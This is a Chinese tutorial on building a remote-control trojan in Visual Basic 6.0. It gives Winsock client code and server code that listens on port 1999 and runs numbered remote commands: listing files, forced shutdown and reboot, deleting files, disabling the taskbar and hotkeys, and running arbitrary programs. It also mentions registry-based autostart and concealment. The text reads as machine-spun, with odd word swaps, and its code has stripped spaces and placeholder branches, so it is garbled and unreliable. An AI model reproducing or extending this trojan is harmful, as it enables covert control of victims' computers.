浅谈用Visual Basic6.0编写木马程序


  现在网络上 风行的木马软件 根本都是客户机/服务器模式也便是所谓的C/S 构造,当前也有一些开始向B/S 构造改变,在这里暂且不对B/S 构造进行详谈,本文重要介绍C/S 构造其原理便是在本机直接启动运行的程序 占有与 使用者 雷同的权限 。 因此假如 可以启动服务器端(即被 突击的计算机)的服务器程序,就 可以 使用相应的客户端工具客户程序直接操纵它了 。下面来谈谈如何用VB来实现它 。

  

  首先 使用VB 构建两个程序,一个为客户端程序Client,一个为服务器端程序systry 。

  

  在Client工程中 构建一个窗体,加载WinSock控件,称为tcpClient, 协定 取舍TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名, 而后 构建一个按钮,按下之后就 可以对衔接进行初始化了,代码如下:

  

  PrivateSubcmdConnect_Click()

  IfLen(Text1.Text)=0AndLen(Text2.Text)=0Then

  MsgBox("请输入主机名或主机IP地址 。")

  ExitSub

  Else

  IfLen(Text1.Text)>0Then

  tcpClient.RemoteHost=Text1.Text

  Else

  tcpClient.RemoteHost=Text2.Text

  EndIf

  EndIf

  tcpClient.Connect

  Timer1.Enabled=True

  EndSub

  

  衔接 构建之后就 可以 使用DataArrival事件 解决所收到的数据了 。

  

  在服务器端systry工程也 构建一个窗体,加载WinSock控件,称为tcpServer, 协定 取舍TCP,在Form_Load事件中加入如下代码:

  

  PrivateSubForm_Load()

  tcpServer.LocalPort=1999

  tcpServer.Listen

  EndSub

  

   预备应答客户端程序的 申请衔接, 使用ConnectionRequest事件来应答户端程序的 申请 。

  代码如下: 

  PrivateSuBTcpServer_ConnectionRequest

  (ByValrequestIDAsLong)

  IftcpServer.State<>sckClosedThen

  tcpServer.Close‘ 审查控件的State属性是不是为关闭的 。

  EndIf'假如不是,在 承受新的衔接之前先关闭此衔接 。

  tcpServer.AcceptrequestID

  EndSub  

  这样在客户端程序按下了衔接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码 。假如不出意外,衔接就被 构建起来了 。

  

   构建衔接后服务器端的程序通过DataArrival事件 接纳客户机端程序所发的指令运行既定的程序 。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端 接纳后用TreeView控件以树状的 模式显示出来,阅读服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽 使命栏窗口;屏蔽开始菜单;依照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包含猎取 指标计算机屏幕图象、窗口及 历程列表;激活、终止远端 历程; 打开、关闭、移动远端窗口;操纵 指标计算机鼠标的移动与动作; 交换远端鼠标的左右键;在 指标计算机 模仿键盘输入,下载、上装文件;提取、 缔造、 批改 指标计算机系统注册表 要害字;在远端屏幕上显示 信息 。DataArrival事件程序如下:

  

  PrivateSuBTcpServer_DataArrival

  (ByValbytesTotalAsLong)

  DimstrDataAsString

  DimiAsLong

  DimmKeyAsString

  tcpServer.GetDatastrData

  ' 接纳数据并存入strData

  Fori=1ToLen(strData)

  ' 拆散strData中的命令

  IfMid(strData,i,1)="@"Then

  mKey=Left(strData,i-1)

  '把命令ID号存入mKey

  

  '把命令参数存入strData

  strData=Right(strData,Len(strData)-i)

  ExitFor

  EndIf

  Nexti

  SelectCaseVal(mKey)

  Case1

  ‘驱动器名、目录名、文件名

  Case2

  强制关闭服务器端的计算机

  Case3

  强制重启服务器端的计算机

  Case4

  屏蔽 使命栏窗口;

  Case5

  屏蔽开始菜单;

  Case6

  依照客户机端传过来的文件名或目录名,而删除它;

  Case7

  屏蔽热启动键;

  Case8

  运行服务器端的任何程序

  EndSelect

  EndSub

  

  客户机端用tcpClient.SendData发命令 。命令包含命令ID和命令参数,它们用符号“@”隔开 。

  

  另外,当客户机端断开与服务器端的来接后,服务器端 利用tcpServer_Close事件,来 接续 预备 接纳客户机端的 申请,其代码如下:

  

  PrivateSuBTcpServer_Close()

  tcpServer.Close

  tcpServer.Listen

  EndSub  

  这便是一个最 根本的特洛伊木马程序, 惟独你的机器运行了服务器端程序,那别人就 可以在千里之外操纵你的计算机 。至于如何让服务器端程序运行就要 施展你的聪慧才智了,在我的源程序中有一中 步骤,是 批改系统注册表的 步骤 。  

   顺利的特洛伊木马程序要比这个复杂一些,还有程序的 潜藏、自动复制、 流传等问题要解决 。 忠告:千万不要用来 毁坏别人的系统 。